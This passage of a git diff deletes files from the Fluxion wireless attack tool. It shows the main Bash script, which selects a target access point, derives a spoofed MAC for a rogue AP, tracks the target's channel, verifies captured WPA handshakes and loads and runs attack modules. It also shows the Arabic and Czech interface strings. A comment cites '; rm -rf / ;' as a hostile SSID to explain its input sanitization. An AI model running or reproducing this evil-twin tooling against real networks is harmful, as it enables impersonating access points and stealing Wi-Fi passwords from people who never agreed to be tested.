, -f 4) - candidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6) - candidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9) - candidatesColor[i]=$( - [ ${candidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr - ) - - # Parse any non-ascii characters by letting bash handle them. - # Escape all single quotes in ESSID and let bash's $'...' handle it. - local sanitizedESSID=$( - echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14 - ) - candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") - - local power=${candidatesPower[i]} - if [ $power -eq -1 ]; then - # airodump-ng's man page says -1 means unsupported value. - candidatesQuality[i]="??" - elif [ $power -le $FLUXIONNoiseFloor ]; then - candidatesQuality[i]=0 - elif [ $power -gt $FLUXIONNoiseCeiling ]; then - candidatesQuality[i]=100 - else - # Bash doesn't support floating point division, work around it... - # Q = ((P - F) / (C - F)); Q-quality, P-power, F-floor, C-Ceiling. - candidatesQuality[i]=$(( \ - (${candidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / \ - (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10) \ - )) - fi - done - - format_center_literals "WIFI LIST" - local -r headerTitle="$FormatCenterLiterals\n\n" - - format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" - local -r headerFields=$( - printf "$FormatApplyAutosize" \ - "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID" - ) - - format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n" - io_query_format_fields "$headerTitle$headerFields" \ - "$FormatApplyAutosize" \ - candidatesColor[@] \ - candidatesESSID[@] \ - candidatesQuality[@] \ - candidatesPower[@] \ - candidatesClientsCount[@] \ - candidatesChannel[@] \ - candidatesSecurity[@] \ - candidatesMAC[@] - - echo - - FluxionTargetMAC=${IOQueryFormatFields[7]} - FluxionTargetSSID=${IOQueryFormatFields[1]} - FluxionTargetChannel=${IOQueryFormatFields[5]} - - FluxionTargetEncryption=${IOQueryFormatFields[6]} - - FluxionTargetMakerID=${FluxionTargetMAC:0:8} - FluxionTargetMaker=$( - macchanger -l | - grep ${FluxionTargetMakerID,,} 2> $FLUXIONOutputDevice | - cut -d ' ' -f 5- - ) - - FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID) - - # We'll change a single hex digit from the target AP's MAC address. - # This new MAC address will be used as the rogue AP's MAC address. - local -r rogueMACHex=$(printf %02X $((0x${FluxionTargetMAC:13:1} + 1))) - FluxionTargetRogueMAC="${FluxionTargetMAC::13}${rogueMACHex:1:1}${FluxionTargetMAC:14:4}" -} - -fluxion_target_normalize_SSID() { - # Sanitize network ESSID to make it safe for manipulation. - # Notice: Why remove these? Some smartass might decide to name their - # network "; rm -rf / ;". If the string isn't sanitized accidentally - # shit'll hit the fan and we'll have an extremly distressed user. - # Replacing ' ', '/', '.', '~', '\' with '_' - echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g' -} - -fluxion_target_show() { - format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n" - - local colorlessFormat="$FormatApplyAutosize" - local colorfullFormat=$( - echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g' - ) - - printf "$colorlessFormat" "" "ESSID" "\"${FluxionTargetSSID:-[N/A]}\" / ${FluxionTargetEncryption:-[N/A]}" "" - printf "$colorlessFormat" "" "Channel" " ${FluxionTargetChannel:-[N/A]}" "" - printf "$colorfullFormat" "" "BSSID" " ${FluxionTargetMAC:-[N/A]} ($CYel${FluxionTargetMaker:-[N/A]}$CClr)" "" - - echo -} - -fluxion_target_tracker_daemon() { - if [ ! "$1" ]; then return 1; fi # Assure we've got fluxion's PID. - - readonly fluxionPID=$1 - readonly monitorTimeout=10 # In seconds. - readonly capturePath="$FLUXIONWorkspacePath/tracker_capture" - - if [ \ - -z "$FluxionTargetMAC" -o \ - -z "$FluxionTargetSSID" -o \ - -z "$FluxionTargetChannel" ]; then - return 2 # If we're missing target information, we can't track properly. - fi - - while true; do - echo "[T-Tracker] Captor listening for $monitorTimeout seconds..." - timeout --preserve-status $monitorTimeout airodump-ng -aw "$capturePath" \ - -d "$FluxionTargetMAC" $FluxionTargetTrackerInterface &> /dev/null - local error=$? # Catch the returned status error code. - - if [ $error -ne 0 ]; then # If any error was encountered, abort! - echo -e "[T-Tracker] ${CRed}Error:$CClr Operation aborted (code: $error)!" - break - fi - - local targetInfo=$(head -n 3 "$capturePath-01.csv" | tail -n 1) - sandbox_remove_workfile "$capturePath-*" - - local targetChannel=$( - echo "$targetInfo" | awk -F, '{gsub(/ /, "", $4); print $4}' - ) - - echo "[T-Tracker] $targetInfo" - - if [ "$targetChannel" -ne "$FluxionTargetChannel" ]; then - echo "[T-Tracker] Target channel change detected!" - FluxionTargetChannel=$targetChannel - break - fi - - # NOTE: We might also want to check for SSID changes here, assuming the only - # thing that remains constant is the MAC address. The problem with that is - # that airodump-ng has some serious problems with unicode, apparently. - # Try feeding it an access point with Chinese characters and check the .csv. - done - - # Save/overwrite the new target information to the workspace for retrival. - echo "$FluxionTargetMAC" > "$FLUXIONWorkspacePath/target_info.txt" - echo "$FluxionTargetSSID" >> "$FLUXIONWorkspacePath/target_info.txt" - echo "$FluxionTargetChannel" >> "$FLUXIONWorkspacePath/target_info.txt" - - # NOTICE: Using different signals for different things is a BAD idea. - # We should use a single signal, SIGINT, to handle different situations. - kill -s SIGALRM $fluxionPID # Signal fluxion a change was detected. - - sandbox_remove_workfile "$capturePath-*" -} - -fluxion_target_tracker_stop() { - if [ ! "$FluxionTargetTrackerDaemonPID" ]; then return 1; fi - kill -s SIGABRT $FluxionTargetTrackerDaemonPID &> /dev/null - FluxionTargetTrackerDaemonPID="" -} - -fluxion_target_tracker_start() { - if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi - - fluxion_target_tracker_daemon $$ &> "$FLUXIONOutputDevice" & - FluxionTargetTrackerDaemonPID=$! -} - -fluxion_target_unset_tracker() { - if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi - - FluxionTargetTrackerInterface="" -} - -fluxion_target_set_tracker() { - if [ "$FluxionTargetTrackerInterface" ]; then - echo "Tracker interface already set, skipping." > $FLUXIONOutputDevice - return 0 - fi - - # Check if attack provides tracking interfaces, get & set one. - if ! type -t attack_tracking_interfaces &> /dev/null; then - echo "Tracker DOES NOT have interfaces available!" > $FLUXIONOutputDevice - return 1 - fi - - if [ "$FluxionTargetTrackerInterface" == "" ]; then - echo "Running get interface (tracker)." > $FLUXIONOutputDevice - local -r interfaceQuery=$FLUXIONTargetTrackerInterfaceQuery - local -r interfaceQueryTip=$FLUXIONTargetTrackerInterfaceQueryTip - if ! fluxion_get_interface attack_tracking_interfaces \ - "$interfaceQuery\n$FLUXIONVLine $interfaceQueryTip"; then - echo "Failed to get tracker interface!" > $FLUXIONOutputDevice - return 2 - fi - local selectedInterface=$FluxionInterfaceSelected - else - # Assume user passed one via the command line and move on. - # If none was given we'll take care of that case below. - local selectedInterface=$FluxionTargetTrackerInterface - echo "Tracker interface passed via command line!" > $FLUXIONOutputDevice - fi - - # If user skipped a tracker interface, move on. - if [ ! "$selectedInterface" ]; then - fluxion_target_unset_tracker - return 0 - fi - - if ! fluxion_allocate_interface $selectedInterface; then - echo "Failed to allocate tracking interface!" > $FLUXIONOutputDevice - return 3 - fi - - echo "Successfully got tracker interface." > $FLUXIONOutputDevice - FluxionTargetTrackerInterface=${FluxionInterfaces[$selectedInterface]} -} - -fluxion_target_unset() { - FluxionTargetMAC="" - FluxionTargetSSID="" - FluxionTargetChannel="" - - FluxionTargetEncryption="" - - FluxionTargetMakerID="" - FluxionTargetMaker="" - - FluxionTargetSSIDClean="" - - FluxionTargetRogueMAC="" - - return 1 # To trigger undo-chain. -} - -fluxion_target_set() { - # Check if attack is targetted & set the attack target if so. - if ! type -t attack_targetting_interfaces &> /dev/null; then - return 1 - fi - - if [ \ - "$FluxionTargetSSID" -a \ - "$FluxionTargetMAC" -a \ - "$FluxionTargetChannel" \ - ]; then - # If we've got a candidate target, ask user if we'll keep targetting it. - - fluxion_header - fluxion_target_show - echo - echo -e "$FLUXIONVLine $FLUXIONTargettingAccessPointAboveNotice" - - # TODO: This doesn't translate choices to the selected language. - while ! echo "$choice" | grep -q "^[ynYN]$" &> /dev/null; do - echo -ne "$FLUXIONVLine $FLUXIONContinueWithTargetQuery [Y/n] " - local choice - read choice - if [ ! "$choice" ]; then break; fi - done - - echo -ne "\n\n" - - if [ "${choice,,}" != "n" ]; then - return 0 - fi - elif [ \ - "$FluxionTargetSSID" -o \ - "$FluxionTargetMAC" -o \ - "$FluxionTargetChannel" \ - ]; then - # TODO: Survey environment here to autofill missing fields. - # In other words, if a user gives incomplete information, scan - # the environment based on either the ESSID or BSSID, & autofill. - echo -e "$FLUXIONVLine $FLUXIONIncompleteTargettingInfoNotice" - sleep 3 - fi - - if ! fluxion_get_interface attack_targetting_interfaces \ - "$FLUXIONTargetSearchingInterfaceQuery"; then - return 2 - fi - - if ! fluxion_allocate_interface $FluxionInterfaceSelected; then - return 3 - fi - - if ! fluxion_get_target \ - ${FluxionInterfaces[$FluxionInterfaceSelected]}; then - return 4 - fi -} - - -# =================== < Hash Subroutines > =================== # -# Parameters: [channel [encryption [maker]]] -fluxion_hash_verify() { - if [ ${#@} -lt 3 ]; then return 1; fi - - local -r hashPath=$1 - local -r hashBSSID=$2 - local -r hashESSID=$3 - local -r hashChannel=$4 - local -r hashEncryption=$5 - local -r hashMaker=$6 - - if [ ! -f "$hashPath" -o ! -s "$hashPath" ]; then - echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" - sleep 3 - return 2 - fi - - if [ "$FLUXIONAuto" ]; then - local -r verifier="cowpatty" - else - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery" - echo - - fluxion_target_show - - local choices=( \ - "$FLUXIONHashVerificationMethodPyritOption" \ - "$FLUXIONHashVerificationMethodAircrackOption" \ - "$FLUXIONHashVerificationMethodCowpattyOption" \ - "$FLUXIONGeneralBackOption" \ - ) - - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONHashVerificationMethodPyritOption") - local -r verifier="pyrit" ;; - - "$FLUXIONHashVerificationMethodAircrackOption") - local -r verifier="aircrack-ng" ;; - - "$FLUXIONHashVerificationMethodCowpattyOption") - local -r verifier="cowpatty" ;; - - "$FLUXIONGeneralBackOption") - return -1 ;; - esac - fi - - hash_check_handshake \ - "$verifier" \ - "$hashPath" \ - "$hashESSID" \ - "$hashBSSID" - - local -r hashResult=$? - - # A value other than 0 means there's an issue with the hash. - if [ $hashResult -ne 0 ]; then - echo -e "$FLUXIONVLine $FLUXIONHashInvalidError" - else - echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" - fi - - sleep 3 - - if [ $hashResult -ne 0 ]; then return 1; fi -} - -fluxion_hash_unset_path() { - if [ ! "$FluxionHashPath" ]; then return 1; fi - FluxionHashPath="" - - # Since we're auto-selecting when on auto, trigger undo-chain. - if [ "$FLUXIONAuto" ]; then return 2; fi -} - -# Parameters: [channel [encryption [maker]]] -fluxion_hash_set_path() { - if [ "$FluxionHashPath" ]; then return 0; fi - - fluxion_hash_unset_path - - local -r hashPath=$1 - - # If we've got a default path, check if a hash exists. - # If one exists, ask users if they'd like to use it. - if [ "$hashPath" -a -f "$hashPath" -a -s "$hashPath" ]; then - if [ "$FLUXIONAuto" ]; then - FluxionHashPath=$hashPath - return - else - local choices=( \ - "$FLUXIONUseFoundHashOption" \ - "$FLUXIONSpecifyHashPathOption" \ - "$FLUXIONHashSourceRescanOption" \ - "$FLUXIONGeneralBackOption" \ - ) - - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" - echo -e "$FLUXIONVLine $FLUXIONUseFoundHashQuery" - echo - - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONUseFoundHashOption") - FluxionHashPath=$hashPath - return ;; - - "$FLUXIONHashSourceRescanOption") - fluxion_hash_set_path "$@" - return $? ;; - - "$FLUXIONGeneralBackOption") - return -1 ;; - esac - fi - fi - - while [ ! "$FluxionHashPath" ]; do - fluxion_header - - echo - echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery" - echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileReturnTip" - echo - echo -ne "$FLUXIONAbsolutePathInfo: " - read FluxionHashPath - - # Back-track when the user leaves the hash path blank. - # Notice: Path is cleared if we return, no need to unset. - if [ ! "$FluxionHashPath" ]; then return 1; fi - - # Make sure the path points to a valid generic file. - if [ ! -f "$FluxionHashPath" -o ! -s "$FluxionHashPath" ]; then - echo -e "$FLUXIONVLine $FLUXIONEmptyOrNonExistentHashError" - sleep 5 - fluxion_hash_unset_path - fi - done -} - -# Paramters: -fluxion_hash_get_path() { - # Assure we've got the bssid and the essid passed in. - if [ ${#@} -lt 2 ]; then return 1; fi - - while true; do - fluxion_hash_unset_path - if ! fluxion_hash_set_path "$@"; then - return -1 # WARNING: The recent error code is NOT contained in $? here! - fi - - if fluxion_hash_verify "$FluxionHashPath" "$2" "$3"; then - break; - fi - done - - # At this point FluxionHashPath will be set and ready. -} - - -# ================== < Attack Subroutines > ================== # -fluxion_unset_attack() { - local -r attackWasSet=${FluxionAttack:+1} - FluxionAttack="" - if [ ! "$attackWasSet" ]; then return 1; fi -} - -fluxion_set_attack() { - if [ "$FluxionAttack" ]; then return 0; fi - - fluxion_unset_attack - - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONAttackQuery" - echo - - fluxion_target_show - - local attacks - readarray -t attacks < <(ls -1 "$FLUXIONPath/attacks") - - local descriptions - readarray -t descriptions < <( - head -n 3 "$FLUXIONPath/attacks/"*"/language/$FluxionLanguage.sh" | \ - grep -E "^# description: " | sed -E 's/# \w+: //' - ) - - local identifiers=() - - local attack - for attack in "${attacks[@]}"; do - local identifier=$( - head -n 3 "$FLUXIONPath/attacks/$attack/language/$FluxionLanguage.sh" | \ - grep -E "^# identifier: " | sed -E 's/# \w+: //' - ) - if [ "$identifier" ]; then - identifiers+=("$identifier") - else - identifiers+=("$attack") - fi - done - - attacks+=("$FLUXIONGeneralBackOption") - identifiers+=("$FLUXIONGeneralBackOption") - descriptions+=("") - - io_query_format_fields "" \ - "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" \ - attacks[@] identifiers[@] descriptions[@] - - echo - - if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then - return -1 - fi - - if [ "${IOQueryFormatFields[1]}" = "$FLUXIONAttackRestartOption" ]; then - return 2 - fi - - - FluxionAttack=${IOQueryFormatFields[0]} -} - -fluxion_unprep_attack() { - if type -t unprep_attack &> /dev/null; then - unprep_attack - fi - - IOUtilsHeader="fluxion_header" - - # Remove any lingering targetting subroutines loaded. - unset attack_targetting_interfaces - unset attack_tracking_interfaces - - # Remove any lingering restoration subroutines loaded. - unset load_attack - unset save_attack - - FluxionTargetTrackerInterface="" - - return 1 # Trigger another undo since prep isn't significant. -} - -fluxion_prep_attack() { - local -r path="$FLUXIONPath/attacks/$FluxionAttack" - - if [ ! -x "$path/attack.sh" ]; then return 1; fi - if [ ! -x "$path/language/$FluxionLanguage.sh" ]; then return 2; fi - - # Load attack parameters if any exist. - if [ "$AttackCLIArguments" ]; then - eval set -- "$AttackCLIArguments" - # Remove them after loading them once. - unset AttackCLIArguments - fi - - # Load attack and its corresponding language file. - # Load english by default to overwrite globals that ARE defined. - source "$path/language/en.sh" - if [ "$FluxionLanguage" != "en" ]; then - source "$path/language/$FluxionLanguage.sh" - fi - source "$path/attack.sh" - - # Check if attack is targetted & set the attack target if so. - if type -t attack_targetting_interfaces &> /dev/null; then - if ! fluxion_target_set; then return 3; fi - fi - - # Check if attack provides tracking interfaces, get & set one. - # TODO: Uncomment the lines below after implementation. - if type -t attack_tracking_interfaces &> /dev/null; then - if ! fluxion_target_set_tracker; then return 4; fi - fi - - # If attack is capable of restoration, check for configuration. - if type -t load_attack &> /dev/null; then - # If configuration file available, check if user wants to restore. - if [ -f "$path/attack.conf" ]; then - local choices=( \ - "$FLUXIONAttackRestoreOption" \ - "$FLUXIONAttackResetOption" \ - ) - - io_query_choice "$FLUXIONAttackResumeQuery" choices[@] - - if [ "$IOQueryChoice" = "$FLUXIONAttackRestoreOption" ]; then - load_attack "$path/attack.conf" - fi - fi - fi - - if ! prep_attack; then return 5; fi - - # Save the attack for user's convenience if possible. - if type -t save_attack &> /dev/null; then - save_attack "$path/attack.conf" - fi -} - -fluxion_run_attack() { - start_attack - fluxion_target_tracker_start - - local choices=( \ - "$FLUXIONSelectAnotherAttackOption" \ - "$FLUXIONGeneralExitOption" \ - ) - - io_query_choice \ - "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@] - - echo - - # IOQueryChoice is a global, meaning, its value is volatile. - # We need to make sure to save the choice before it changes. - local choice="$IOQueryChoice" - - fluxion_target_tracker_stop - stop_attack - - if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then - fluxion_handle_exit - fi - - fluxion_unprep_attack - fluxion_unset_attack -} - -# ============================================================ # -# ================= < Argument Executables > ================= # -# ============================================================ # -eval set -- "$FLUXIONCLIArguments" # Set environment parameters. -while [ "$1" != "" -a "$1" != "--" ]; do - case "$1" in - -t|--target) echo "Not yet implemented!"; sleep 3; fluxion_shutdown;; - esac - shift # Shift new parameters -done - -# ============================================================ # -# ===================== < FLUXION Loop > ===================== # -# ============================================================ # -fluxion_main() { - fluxion_startup - - fluxion_set_resolution - - # Removed read-only due to local constant shadowing bug. - # I've reported the bug, we can add it when fixed. - local sequence=( - "set_language" - "set_attack" - "prep_attack" - "run_attack" - ) - - while true; do # Fluxion's runtime-loop. - fluxion_do_sequence fluxion sequence[@] - done - - fluxion_shutdown -} - -fluxion_main # Start Fluxion - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/ar.sh b/fluxion_origins/language/ar.sh deleted file mode 100644 index df7445a..0000000 --- a/fluxion_origins/language/ar.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Arabic -# native: Arabic - -FLUXIONInterfaceQuery="خصص بطاقة الشبكات اللاسلكية" -FLUXIONAllocatingInterfaceNotice="جاري تخصيص بطاقة الشبكاة $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="جاري إلغاء تحديد بطاقة الشبكاة $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}تم تخصيص بطاقة الشبكة بنجاح!" -FLUXIONInterfaceAllocationFailedError="${CRed}خطأ في تخصيص بطاقة الشبكة!" -FLUXIONReidentifyingInterface="إعادة تسمية البطاقة." -FLUXIONUnblockingWINotice="إلغاء الإعترا على جميع بطاقات الشبكات اللاسلكية." -#FLUXIONFindingExtraWINotice="بحث عن بطاقات الشبكات اللاسلكية الخارجية ..." -FLUXIONRemovingExtraWINotice="إزالة بطاقات الشبكات اللاسلكية الخارجية..." -FLUXIONFindingWINotice="بحث عن بطاقات الشبكات اللاسلكية المتوفرة..." -FLUXIONSelectedBusyWIError="بطاقة الشبكة اللاسلكية المحددة قيد الاستخدام حاليا على ما يبدو!" -FLUXIONSelectedBusyWITip="يحدث هذا عادةً بسبب استخدام مدير الشبكة لبطاقة الشبكة المحددة. ننصحك ب $CGrn بايقاف مدير الشبكة$CClr أو إعداده لتجاهل بطاقة الشبكة هته. حل آخر وهو, تشغيل الأمر \"export FLUXIONWIKillProcesses=1\" قبل تشغيل فلاكسيون لكن نقترح عليك$CRed تجنب استخدام أمر الإنهاء${CClr}." -FLUXIONGatheringWIInfoNotice="جمع المعلومات حول بطاقة الشبكة..." -FLUXIONUnknownWIDriverError="ﻻ يمكن ايجاد مشغل بطاقة الشبكة!" -FLUXIONUnloadingWIDriverNotice="جاري إنتظار بطاقة الشبكة \"\$interface\" لكي تنهي التحميل..." -FLUXIONLoadingWIDriverNotice="جاري إنتظار بطاقة الشبكة \"\$interface\" لتتحمل..." -FLUXIONFindingConflictingProcessesNotice="البحث عن البرامج المتعارضة ..." -FLUXIONKillingConflictingProcessesNotice="إنهاء عن البرامج المتعارضة..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}ﻻ يمكن ايجاد مشغل بطاقة الشبكة!" -FLUXIONStartingWIMonitorNotice="جاري بدأ مراقبة بطاقة الشبكة..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="حدد واجهة لاسلكية للبحث عن الهدف." -FLUXIONTargetTrackerInterfaceQuery="حدد واجهة لتتبع الهدف." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}تجنب اختيار واجهة افتراضية هنا.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="الـ ESSID أو BSSID أو معلومات القناة مفقوة!" -FLUXIONTargettingAccessPointAboveNotice="فلاكسيون يستهدف نقطة الوصول أعلاه." -FLUXIONContinueWithTargetQuery="واصل مع هذا الهدف؟" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="بدء تشغيل الماسح ، يرجى الانتظار ..." -FLUXIONStartingScannerTip="بعد مرور خمس ثوانٍ من ظهور نقطة الوصول المستهدفة ، أغلق الماسح (ctrl + c)." -FLUXIONPreparingScannerResultsNotice="توليف نتائج الفحص ، يرجى الانتظار ..." -FLUXIONScannerFailedNotice="قد لا تكون البطاقة اللاسلكية مدعومة (لم يتم العثور على APs)" -FLUXIONScannerDetectedNothingNotice="لم يتم اكتشاف نقاط وصول ،" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="ملف التجزئة غير موجود!" -FLUXIONHashInvalidError="${CRed}خطأ$CClr, ملف تجزئة غير صالح!" -FLUXIONHashValidNotice="${CGrn}نجح$CClr, اكتمل التحقق تجزئة!" -FLUXIONPathToHandshakeFileQuery="أدخل المسار لملف المصافحة$CClr(مثال: /path/to/file.cap)" -FLUXIONPathToHandshakeFileReturnTip="للرجوع ، اترك مسار التجزئة فارغًا." -FLUXIONAbsolutePathInfo="المسار المطلق" -FLUXIONEmptyOrNonExistentHashError="${CRed}خطأ$CClr, يشير المسار إلى ملف تجزئة غير موجود أو فارغ." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="اختر قناة للمراقبة" -FLUXIONScannerChannelOptionAll="جميع القنوات" -FLUXIONScannerChannelOptionSpecific="قناة محددة" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="قناة واحدة" -FLUXIONScannerChannelMiltipleTip="قنوات متعددة" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="ماسح فلاكسيون" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="حدد طريقة لاسترداد المصافحة" -FLUXIONHashSourcePathOption="مسار لالتقاط الملف" -FLUXIONHashSourceRescanOption="إعادة فحص دليل المصافحة" -FLUXIONFoundHashNotice="تم العثور على تجزئة لـ AP الهدف." -FLUXIONUseFoundHashQuery="هل تريد استخدام هذا الملف؟" -FLUXIONUseFoundHashOption="استخدم hash التي وجدت" -FLUXIONSpecifyHashPathOption="حدد المسار ل hash" -FLUXIONHashVerificationMethodQuery="اختر طريقة للتحقق من hash" -FLUXIONHashVerificationMethodPyritOption="التحقق من pyrit" -FLUXIONHashVerificationMethodAircrackOption="التحقق من aircrack-ng (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="التحقق من cowpatty (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="حدد هجومًا لاسلكيًا لنقطة الوصول" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr جاري الهجوم..." -FLUXIONSelectAnotherAttackOption="اختر هجومًا آخر" -FLUXIONAttackResumeQuery="تم بالفعل إعداد هذا الهجوم." -FLUXIONAttackRestoreOption="استعادة الهجوم" -FLUXIONAttackResetOption="إعادة الهجوم" -FLUXIONAttackRestartOption="إعادة تشغيل" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}تخطي" -FLUXIONGeneralBackOption="${CRed}عودة" -FLUXIONGeneralExitOption="${CRed}خروج" -FLUXIONGeneralRepeatOption="${CRed}إعادة" -FLUXIONGeneralNotFoundError="ﻻ يوجد" -FLUXIONGeneralXTermFailureError="${CRed}فشل بدء جلسة العمل الخاصة بـ xterm." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="التنظيف و الإغلاق" -FLUXIONKillingProcessNotice="إنهاء ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="استعادة ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="تعطيل وضع المراقبة لبطاقة الشبكة" -FLUXIONDisablingExtraInterfacesNotice="تعطيل بطاقات الشبكة الاضافية" -FLUXIONDisablingPacketForwardingNotice="تعطيل ${CGry}الحزمات" -FLUXIONDisablingCleaningIPTablesNotice="تنظيف ${CGry}iptables" -FLUXIONRestoringTputNotice="استعادة ${CGry}tput" -FLUXIONDeletingFilesNotice="حذف ${CGry}ملفات" -FLUXIONRestartingNetworkManagerNotice="جاري اعادة تشغيل ${CGry}مدير الشبكة" -FLUXIONCleanupSuccessNotice="تم التنظيف بنجاح!" -FLUXIONThanksSupportersNotice="شكرا لاستخدامك فلاكسيون" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/cs.sh b/fluxion_origins/language/cs.sh deleted file mode 100755 index b608dfd..0000000 --- a/fluxion_origins/language/cs.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Czech -# native: čeština - -FLUXIONInterfaceQuery="Vyberte rozhraní" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner 